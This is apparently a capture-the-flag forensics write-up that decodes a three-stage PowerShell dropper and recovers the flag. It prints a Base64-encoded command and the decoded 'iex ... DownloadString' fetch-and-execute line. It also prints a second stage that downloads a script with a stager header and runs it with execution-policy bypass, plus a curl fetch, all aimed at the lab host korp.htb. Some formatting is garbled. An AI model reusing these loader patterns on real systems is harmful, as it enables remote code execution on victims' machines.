Thorin's Amulet - Forensics Challenge Writeup

Introduction

This writeup details the solution to the "Thorin's Amulet" forensics challenge. The challenge involved analyzing a malicious artifact (a PowerShell script) to reconstruct the events of an intrusion and ultimately find the flag.

Initial Artifact Analysis

The challenge provided the following PowerShell script:

function qt4PO {
if ($env:COMPUTERNAME -ne "WORKSTATION-DM-0043") {
exit
}
powershell.exe -NoProfile -NonInteractive -EncodedCommand "SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik="
}
qt4PO

The challenge instructions also mentioned the importance of resolving the domain korp.htb to the provided Docker instance IP address (94.237.60.64). This is a crucial step, typically achieved by adding an entry to your local hosts file. For example, on Linux or macOS, you would add the line 94.237.60.64 korp.htb to /etc/hosts. This ensures that when the script tries to access resources on korp.htb, it correctly points to the challenge environment.

The provided PowerShell script defines a function qt4PO. Upon execution, this function first checks the computer name using the environment variable $env:COMPUTERNAME. If the computer name is not exactly "WORKSTATION-DM-0043", the script will terminate. This suggests that the malicious activity is specifically targeted towards a machine with this name.

If the computer name check passes, the script proceeds to execute another PowerShell command using the -EncodedCommand parameter. This indicates that the actual command is encoded, likely to evade basic detection. To understand what the script does next, we need to decode this Base64 string:

SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwOi8va29ycC5odGIvdXBkYXRlIik=

Decoding this Base64 string reveals the following PowerShell command:
PowerShell

iex (New-Object Net.WebClient).DownloadString("[http://korp.htb:port/update](http://korp.htb:port/update)")

This command downloads the content from http://korp.htb/update and executes it using Invoke-Expression.

Second Stage Payload

The content downloaded from http://korp.htb/update was provided as:

PowerShell

function aqFVaq {
Invoke-WebRequest -Uri "[http://korp.htb/a541a](http://korp.htb:port/a541a)" -Headers @{"X-ST4G3R-KEY"="5337d322906ff18afedc1edc191d325d"} -Method GET -OutFile a541a.ps1
powershell.exe -exec Bypass -File "a541a.ps1"
}
aqFVaq

This script defines a function aqFVaq which downloads another PowerShell script named a541a.ps1 from http://korp.htb/a541a. It includes a custom HTTP header X-ST4G3R-KEY with the value 5337d322906ff18afedc1edc191d325d. After downloading, it executes this script.

Third Stage Payload

curl -H "X-ST4G3R-KEY: 5337d322906ff18afedc1edc191d325d" http://korp.htb:43885/a541a -o a541a.ps1

The content of the a541a.ps1 file was provided as:

PowerShell

$a35 = "4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d"
($a35-split"(..)"|?{$_}|%{[char][convert]::ToInt16($_,16)}) -join ""

This script takes a hexadecimal string stored in the variable $a35 and performs the following actions:

  1. Splits the hexadecimal string into an array of two-character substrings.
  2. Filters out any empty strings from the resulting array.
  3. Iterates through each two-character substring, converts it from hexadecimal to an integer, and then casts that integer to its corresponding character.
  4. Finally, it joins all the resulting characters together into a single string.

Flag Extraction

To extract the flag, we need to perform the hexadecimal to ASCII conversion. The hexadecimal string is:

4854427b37683052314e5f4834355f346c573459355f3833336e5f344e5f39723334375f314e56336e3730727d

Converting each pair of hexadecimal characters to ASCII:

Joining these characters, we get the flag.

Flag

HTB{7h0R1N_H45_4lW4Y5_833n_4N_9r347_1NV3n70r}

Conclusion

The challenge involved analyzing a multi-stage PowerShell attack. The initial script checked the computer name and downloaded a second-stage script. The second-stage script then downloaded and executed a third-stage script. 1 The flag was found by analyzing the third-stage script, which contained a hexadecimal encoded string that needed to be converted to ASCII.